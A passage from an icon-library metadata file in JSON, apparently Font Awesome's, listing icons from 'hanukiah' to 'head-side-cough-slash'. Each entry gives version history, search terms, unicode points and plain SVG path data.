        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-135-105.8c-1.1-11.3-6.3-22.3-15.3-30.7l-134.2-123-23.4 18.2-26-20.3 77.2-60.1c7-5.4 17-4.2 22.5 2.8s4.2 17-2.8 22.5l-20.9 16.2L512 316.8V128h-.7l-3.9-2.5L434.8 79c-15.3-9.8-33.2-15-51.4-15c-21.8 0-43 7.5-60 21.2l-89.7 72.6-25.8-20.3 81.8-66.2c-11.6-4.9-24.1-7.4-36.8-7.4C234 64 215.7 69.6 200 80l-35.5 23.7L38.8 5.1zM413.6 421.9L128 196.8V352h28.2l91.4 83.4c19.6 17.9 49.9 16.5 67.8-3.1c5.5-6.1 9.2-13.2 11.1-20.6l17 15.6c19.5 17.9 49.9 16.6 67.8-2.9c.8-.8 1.5-1.7 2.2-2.6zM96 171.6L40.6 128H16c-8.8 0-16 7.2-16 16V352c0 17.7 14.3 32 32 32H64c17.7 0 32-14.3 32-32V171.6zM48 320a16 16 0 1 1 0 32 16 16 0 1 1 0-32zM544 128V352c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V144c0-8.8-7.2-16-16-16H544zm32 208a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-135-105.8c-1.1-11.3-6.3-22.3-15.3-30.7l-134.2-123-23.4 18.2-26-20.3 77.2-60.1c7-5.4 17-4.2 22.5 2.8s4.2 17-2.8 22.5l-20.9 16.2L512 316.8V128h-.7l-3.9-2.5L434.8 79c-15.3-9.8-33.2-15-51.4-15c-21.8 0-43 7.5-60 21.2l-89.7 72.6-25.8-20.3 81.8-66.2c-11.6-4.9-24.1-7.4-36.8-7.4C234 64 215.7 69.6 200 80l-35.5 23.7L38.8 5.1zM413.6 421.9L128 196.8V352h28.2l91.4 83.4c19.6 17.9 49.9 16.5 67.8-3.1c5.5-6.1 9.2-13.2 11.1-20.6l17 15.6c19.5 17.9 49.9 16.6 67.8-2.9c.8-.8 1.5-1.7 2.2-2.6zM96 171.6L40.6 128H16c-8.8 0-16 7.2-16 16V352c0 17.7 14.3 32 32 32H64c17.7 0 32-14.3 32-32V171.6zM48 320a16 16 0 1 1 0 32 16 16 0 1 1 0-32zM544 128V352c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V144c0-8.8-7.2-16-16-16H544zm32 208a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z"
      }
    },
    "free": ["solid"]
  },
  "hanukiah": {
    "aliases": {
      "unicodes": {
        "composite": ["1f54e"],
        "secondary": ["10f6e6"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "candelabrum",
        "candle",
        "candlestick",
        "hanukkah",
        "jewish",
        "judaism",
        "light",
        "menorah",
        "religion"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6e6",
    "label": "Hanukiah",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M314.2 3.3C309.1 12.1 296 36.6 296 56c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7C324.6 1.2 322.4 0 320 0s-4.6 1.2-5.8 3.3zm-288 48C21.1 60.1 8 84.6 8 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7C36.6 49.2 34.4 48 32 48s-4.6 1.2-5.8 3.3zM88 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3C101.1 60.1 88 84.6 88 104zm82.2-52.7C165.1 60.1 152 84.6 152 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3zM216 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3C229.1 60.1 216 84.6 216 104zM394.2 51.3C389.1 60.1 376 84.6 376 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3zM440 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3C453.1 60.1 440 84.6 440 104zm82.2-52.7C517.1 60.1 504 84.6 504 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3zM584 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3C597.1 60.1 584 84.6 584 104zM112 160c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zm64 0c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zm64 0c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zm160 0c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zm64 0c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zm64 0c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zM352 144c0-17.7-14.3-32-32-32s-32 14.3-32 32V320H96c-17.7 0-32-14.3-32-32V192c0-17.7-14.3-32-32-32s-32 14.3-32 32v96c0 53 43 96 96 96H288v64H160c-17.7 0-32 14.3-32 32s14.3 32 32 32H320 480c17.7 0 32-14.3 32-32s-14.3-32-32-32H352V384H544c53 0 96-43 96-96V192c0-17.7-14.3-32-32-32s-32 14.3-32 32v96c0 17.7-14.3 32-32 32H352V144z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M314.2 3.3C309.1 12.1 296 36.6 296 56c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7C324.6 1.2 322.4 0 320 0s-4.6 1.2-5.8 3.3zm-288 48C21.1 60.1 8 84.6 8 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7C36.6 49.2 34.4 48 32 48s-4.6 1.2-5.8 3.3zM88 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3C101.1 60.1 88 84.6 88 104zm82.2-52.7C165.1 60.1 152 84.6 152 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3zM216 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3C229.1 60.1 216 84.6 216 104zM394.2 51.3C389.1 60.1 376 84.6 376 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3zM440 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3C453.1 60.1 440 84.6 440 104zm82.2-52.7C517.1 60.1 504 84.6 504 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3zM584 104c0 13.3 10.7 24 24 24s24-10.7 24-24c0-19.4-13.1-43.9-18.2-52.7c-1.2-2.1-3.4-3.3-5.8-3.3s-4.6 1.2-5.8 3.3C597.1 60.1 584 84.6 584 104zM112 160c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zm64 0c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zm64 0c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zm160 0c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zm64 0c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zm64 0c-8.8 0-16 7.2-16 16v96 16h32V272 176c0-8.8-7.2-16-16-16zM352 144c0-17.7-14.3-32-32-32s-32 14.3-32 32V320H96c-17.7 0-32-14.3-32-32V192c0-17.7-14.3-32-32-32s-32 14.3-32 32v96c0 53 43 96 96 96H288v64H160c-17.7 0-32 14.3-32 32s14.3 32 32 32H320 480c17.7 0 32-14.3 32-32s-14.3-32-32-32H352V384H544c53 0 96-43 96-96V192c0-17.7-14.3-32-32-32s-32 14.3-32 32v96c0 17.7-14.3 32-32 32H352V144z"
      }
    },
    "free": ["solid"]
  },
  "hard-drive": {
    "aliases": {
      "names": ["hdd"],
      "unicodes": {
        "composite": ["1f5b4"],
        "secondary": ["10f0a0"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Hard Disk",
        "cpu",
        "hard drive",
        "harddrive",
        "machine",
        "save",
        "storage"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0a0",
    "label": "Hard Drive",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V280.4c-17-15.2-39.4-24.4-64-24.4H64c-24.6 0-47 9.2-64 24.4V96zM64 288H448c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V352c0-35.3 28.7-64 64-64zM320 416a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm128-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V280.4c-17-15.2-39.4-24.4-64-24.4H64c-24.6 0-47 9.2-64 24.4V96zM64 288H448c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V352c0-35.3 28.7-64 64-64zM320 416a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm128-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"
      },
      "regular": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 80c-8.8 0-16 7.2-16 16V258c5.1-1.3 10.5-2 16-2H448c5.5 0 10.9 .7 16 2V96c0-8.8-7.2-16-16-16H64zM48 320v96c0 8.8 7.2 16 16 16H448c8.8 0 16-7.2 16-16V320c0-8.8-7.2-16-16-16H64c-8.8 0-16 7.2-16 16zM0 320V96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V320v96c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V320zm280 48a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm120-24a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 80c-8.8 0-16 7.2-16 16V258c5.1-1.3 10.5-2 16-2H448c5.5 0 10.9 .7 16 2V96c0-8.8-7.2-16-16-16H64zM48 320v96c0 8.8 7.2 16 16 16H448c8.8 0 16-7.2 16-16V320c0-8.8-7.2-16-16-16H64c-8.8 0-16 7.2-16 16zM0 320V96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V320v96c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V320zm280 48a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm120-24a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hashnode": {
    "changes": ["6.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e499",
    "label": "Hashnode",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M35.19 171.1C-11.72 217.1-11.72 294 35.19 340.9L171.1 476.8C217.1 523.7 294 523.7 340.9 476.8L476.8 340.9C523.7 294 523.7 217.1 476.8 171.1L340.9 35.19C294-11.72 217.1-11.72 171.1 35.19L35.19 171.1zM315.5 315.5C282.6 348.3 229.4 348.3 196.6 315.5C163.7 282.6 163.7 229.4 196.6 196.6C229.4 163.7 282.6 163.7 315.5 196.6C348.3 229.4 348.3 282.6 315.5 315.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M35.19 171.1C-11.72 217.1-11.72 294 35.19 340.9L171.1 476.8C217.1 523.7 294 523.7 340.9 476.8L476.8 340.9C523.7 294 523.7 217.1 476.8 171.1L340.9 35.19C294-11.72 217.1-11.72 171.1 35.19L35.19 171.1zM315.5 315.5C282.6 348.3 229.4 348.3 196.6 315.5C163.7 282.6 163.7 229.4 196.6 196.6C229.4 163.7 282.6 163.7 315.5 196.6C348.3 229.4 348.3 282.6 315.5 315.5z"
      }
    },
    "free": ["brands"]
  },
  "hashtag": {
    "aliases": {
      "unicodes": {
        "composite": ["f292"],
        "primary": ["f292"],
        "secondary": ["1023", "10f292"]
      }
    },
    "changes": ["4.5.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Number Sign",
        "Twitter",
        "instagram",
        "pound",
        "social media",
        "tag"
      ]
    },
    "styles": ["solid"],
    "unicode": "23",
    "label": "Hashtag",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M181.3 32.4c17.4 2.9 29.2 19.4 26.3 36.8L197.8 128h95.1l11.5-69.3c2.9-17.4 19.4-29.2 36.8-26.3s29.2 19.4 26.3 36.8L357.8 128H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H347.1L325.8 320H384c17.7 0 32 14.3 32 32s-14.3 32-32 32H315.1l-11.5 69.3c-2.9 17.4-19.4 29.2-36.8 26.3s-29.2-19.4-26.3-36.8l9.8-58.7H155.1l-11.5 69.3c-2.9 17.4-19.4 29.2-36.8 26.3s-29.2-19.4-26.3-36.8L90.2 384H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h68.9l21.3-128H64c-17.7 0-32-14.3-32-32s14.3-32 32-32h68.9l11.5-69.3c2.9-17.4 19.4-29.2 36.8-26.3zM187.1 192L165.8 320h95.1l21.3-128H187.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M181.3 32.4c17.4 2.9 29.2 19.4 26.3 36.8L197.8 128h95.1l11.5-69.3c2.9-17.4 19.4-29.2 36.8-26.3s29.2 19.4 26.3 36.8L357.8 128H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H347.1L325.8 320H384c17.7 0 32 14.3 32 32s-14.3 32-32 32H315.1l-11.5 69.3c-2.9 17.4-19.4 29.2-36.8 26.3s-29.2-19.4-26.3-36.8l9.8-58.7H155.1l-11.5 69.3c-2.9 17.4-19.4 29.2-36.8 26.3s-29.2-19.4-26.3-36.8L90.2 384H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h68.9l21.3-128H64c-17.7 0-32-14.3-32-32s14.3-32 32-32h68.9l11.5-69.3c2.9-17.4 19.4-29.2 36.8-26.3zM187.1 192L165.8 320h95.1l21.3-128H187.1z"
      }
    },
    "free": ["solid"]
  },
  "hat-cowboy": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f8c0"]
      }
    },
    "changes": ["5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "buckaroo",
        "horse",
        "jackeroo",
        "john b.",
        "old west",
        "pardner",
        "ranch",
        "rancher",
        "rodeo",
        "western",
        "wrangler"
      ]
    },
    "styles": ["solid"],
    "unicode": "f8c0",
    "label": "Hat Cowboy",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 64c14.4 0 22.3-7 30.8-14.4C360.4 41.1 370.7 32 392 32c49.3 0 84.4 152.2 97.9 221.9C447.8 272.1 390.9 288 320 288s-127.8-15.9-169.9-34.1C163.6 184.2 198.7 32 248 32c21.3 0 31.6 9.1 41.2 17.6C297.7 57 305.6 64 320 64zM111.1 270.7c47.2 24.5 117.5 49.3 209 49.3s161.8-24.8 208.9-49.3c24.8-12.9 49.8-28.3 70.1-47.7c7.9-7.9 20.2-9.2 29.6-3.3c9.5 5.9 13.5 17.9 9.9 28.5c-13.5 37.7-38.4 72.3-66.1 100.6C523.7 398.9 443.6 448 320 448s-203.6-49.1-252.5-99.2C39.8 320.4 14.9 285.8 1.4 248.1c-3.6-10.6 .4-22.6 9.9-28.5c9.5-5.9 21.7-4.5 29.6 3.3c20.4 19.4 45.3 34.8 70.1 47.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 64c14.4 0 22.3-7 30.8-14.4C360.4 41.1 370.7 32 392 32c49.3 0 84.4 152.2 97.9 221.9C447.8 272.1 390.9 288 320 288s-127.8-15.9-169.9-34.1C163.6 184.2 198.7 32 248 32c21.3 0 31.6 9.1 41.2 17.6C297.7 57 305.6 64 320 64zM111.1 270.7c47.2 24.5 117.5 49.3 209 49.3s161.8-24.8 208.9-49.3c24.8-12.9 49.8-28.3 70.1-47.7c7.9-7.9 20.2-9.2 29.6-3.3c9.5 5.9 13.5 17.9 9.9 28.5c-13.5 37.7-38.4 72.3-66.1 100.6C523.7 398.9 443.6 448 320 448s-203.6-49.1-252.5-99.2C39.8 320.4 14.9 285.8 1.4 248.1c-3.6-10.6 .4-22.6 9.9-28.5c9.5-5.9 21.7-4.5 29.6 3.3c20.4 19.4 45.3 34.8 70.1 47.7z"
      }
    },
    "free": ["solid"]
  },
  "hat-cowboy-side": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f8c1"]
      }
    },
    "changes": ["5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "buckaroo",
        "horse",
        "jackeroo",
        "john b.",
        "old west",
        "pardner",
        "ranch",
        "rancher",
        "rodeo",
        "western",
        "wrangler"
      ]
    },
    "styles": ["solid"],
    "unicode": "f8c1",
    "label": "Hat Cowboy Side",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M152.7 135.9l-10.4 57.2c6.8-.7 13.6-1.1 20.5-1.1h10.7c39.4 0 77.8 12.1 110.1 34.7L562.4 421.8l35.1 24.6c24.4-6 42.5-28.1 42.5-54.4c0-75.8-94.7-126.6-134.6-144.7L474 83.9C468.2 53.8 441.8 32 411.1 32h-2.7c-5.6 0-11.1 .7-16.5 2.2L199.2 85.5c-23.9 6.4-42 26-46.5 50.4zM0 384c0 35.3 28.7 64 64 64H544L265.3 252.9c-26.9-18.8-58.9-28.9-91.8-28.9H162.9c-60.6 0-116 34.2-143.1 88.4L13.5 325C4.6 342.7 0 362.3 0 382.2V384z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M152.7 135.9l-10.4 57.2c6.8-.7 13.6-1.1 20.5-1.1h10.7c39.4 0 77.8 12.1 110.1 34.7L562.4 421.8l35.1 24.6c24.4-6 42.5-28.1 42.5-54.4c0-75.8-94.7-126.6-134.6-144.7L474 83.9C468.2 53.8 441.8 32 411.1 32h-2.7c-5.6 0-11.1 .7-16.5 2.2L199.2 85.5c-23.9 6.4-42 26-46.5 50.4zM0 384c0 35.3 28.7 64 64 64H544L265.3 252.9c-26.9-18.8-58.9-28.9-91.8-28.9H162.9c-60.6 0-116 34.2-143.1 88.4L13.5 325C4.6 342.7 0 362.3 0 382.2V384z"
      }
    },
    "free": ["solid"]
  },
  "hat-wizard": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f6e8"]
      }
    },
    "changes": ["5.4.0", "5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "accessory",
        "buckle",
        "clothing",
        "d&d",
        "dnd",
        "fantasy",
        "halloween",
        "head",
        "holiday",
        "mage",
        "magic",
        "pointy",
        "witch"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6e8",
    "label": "Hat Wizard",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 416L168.6 180.7c15.3-34.4 40.3-63.5 72-83.7l146.9-94c3-1.9 6.5-2.9 10-2.9C407.7 0 416 8.3 416 18.6v1.6c0 2.6-.5 5.1-1.4 7.5L354.8 176.9c-1.9 4.7-2.8 9.7-2.8 14.7c0 5.5 1.2 11 3.4 16.1L448 416H240.9l11.8-35.4 40.4-13.5c6.5-2.2 10.9-8.3 10.9-15.2s-4.4-13-10.9-15.2l-40.4-13.5-13.5-40.4C237 276.4 230.9 272 224 272s-13 4.4-15.2 10.9l-13.5 40.4-40.4 13.5C148.4 339 144 345.1 144 352s4.4 13 10.9 15.2l40.4 13.5L207.1 416H64zM279.6 141.5c-1.1-3.3-4.1-5.5-7.6-5.5s-6.5 2.2-7.6 5.5l-6.7 20.2-20.2 6.7c-3.3 1.1-5.5 4.1-5.5 7.6s2.2 6.5 5.5 7.6l20.2 6.7 6.7 20.2c1.1 3.3 4.1 5.5 7.6 5.5s6.5-2.2 7.6-5.5l6.7-20.2 20.2-6.7c3.3-1.1 5.5-4.1 5.5-7.6s-2.2-6.5-5.5-7.6l-20.2-6.7-6.7-20.2zM32 448H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 416L168.6 180.7c15.3-34.4 40.3-63.5 72-83.7l146.9-94c3-1.9 6.5-2.9 10-2.9C407.7 0 416 8.3 416 18.6v1.6c0 2.6-.5 5.1-1.4 7.5L354.8 176.9c-1.9 4.7-2.8 9.7-2.8 14.7c0 5.5 1.2 11 3.4 16.1L448 416H240.9l11.8-35.4 40.4-13.5c6.5-2.2 10.9-8.3 10.9-15.2s-4.4-13-10.9-15.2l-40.4-13.5-13.5-40.4C237 276.4 230.9 272 224 272s-13 4.4-15.2 10.9l-13.5 40.4-40.4 13.5C148.4 339 144 345.1 144 352s4.4 13 10.9 15.2l40.4 13.5L207.1 416H64zM279.6 141.5c-1.1-3.3-4.1-5.5-7.6-5.5s-6.5 2.2-7.6 5.5l-6.7 20.2-20.2 6.7c-3.3 1.1-5.5 4.1-5.5 7.6s2.2 6.5 5.5 7.6l20.2 6.7 6.7 20.2c1.1 3.3 4.1 5.5 7.6 5.5s6.5-2.2 7.6-5.5l6.7-20.2 20.2-6.7c3.3-1.1 5.5-4.1 5.5-7.6s-2.2-6.5-5.5-7.6l-20.2-6.7-6.7-20.2zM32 448H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "head-side-cough": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e061"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cough", "covid-19", "germs", "lungs", "respiratory", "sick"]
    },
    "styles": ["solid"],
    "unicode": "e061",
    "label": "Head Side Cough",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 224.2C0 100.6 100.2 0 224 0h24c95.2 0 181.2 69.3 197.3 160.2c2.3 13 6.8 25.7 15.1 36l42 52.6c6.2 7.8 9.6 17.4 9.6 27.4c0 24.2-19.6 43.8-43.8 43.8H448v0 32L339.2 365.6c-11 1.4-19.2 10.7-19.2 21.8c0 11.6 9 21.2 20.6 21.9L448 416v16c0 26.5-21.5 48-48 48H320v8c0 13.3-10.7 24-24 24H256v0H96c-17.7 0-32-14.3-32-32V407.3c0-16.7-6.9-32.5-17.1-45.8C16.6 322.4 0 274.1 0 224.2zm352-.2a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM464 384a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm152-24a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM592 480a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM552 312a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm40-24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM552 408a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 224.2C0 100.6 100.2 0 224 0h24c95.2 0 181.2 69.3 197.3 160.2c2.3 13 6.8 25.7 15.1 36l42 52.6c6.2 7.8 9.6 17.4 9.6 27.4c0 24.2-19.6 43.8-43.8 43.8H448v0 32L339.2 365.6c-11 1.4-19.2 10.7-19.2 21.8c0 11.6 9 21.2 20.6 21.9L448 416v16c0 26.5-21.5 48-48 48H320v8c0 13.3-10.7 24-24 24H256v0H96c-17.7 0-32-14.3-32-32V407.3c0-16.7-6.9-32.5-17.1-45.8C16.6 322.4 0 274.1 0 224.2zm352-.2a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM464 384a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm152-24a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM592 480a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM552 312a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm40-24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM552 408a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["solid"]
  },
  "head-side-cough-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e062"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cough", "covid-19", "germs", "lungs", "respiratory", "sick"]
    },
    "styles": ["solid"],
    "unicode": "e062",
    "label": "Head Side Cough Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M448 325.8l44 34.5c8.1 1.4 14.8 6.8 18 14.1L552.9 408c10.6 .4 19.5 7.6 22.2 17.4l39.1 30.6c.6 0 1.2-.1 1.8-.1c11.1 0 20.4 7.5 23.2 17.8h-3.9c6.2 8.5 6.4 20.4-.4 29c-8.2 10.4-23.3 12.3-33.7 4.1L9.2 42.9C-1.2 34.7-3.1 19.6 5.1 9.2S28.4-3.1 38.8 5.1L89.6 44.9C127 16.7 173.5 0 224 0h24c95.2 0 181.2 69.3 197.3 160.2c2.3 13 6.8 25.7 15.1 36l42 52.6c6.2 7.8 9.6 17.4 9.6 27.4c0 24.2-19.6 43.8-43.8 43.8H448v0 5.8zM0 224.2c0-38.7 9.8-75.1 27.1-106.9L341.8 365.3l-2.5 .3c-11 1.4-19.2 10.7-19.2 21.8c0 11.6 9 21.2 20.6 21.9l62 3.9 43 33.9C439.3 466.2 421.2 480 400 480H320v8c0 13.3-10.7 24-24 24H256v0H96c-17.7 0-32-14.3-32-32V407.3c0-16.7-6.9-32.5-17.1-45.8C16.6 322.4 0 274.1 0 224.2zM616 360a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm-64-48a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm40-24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
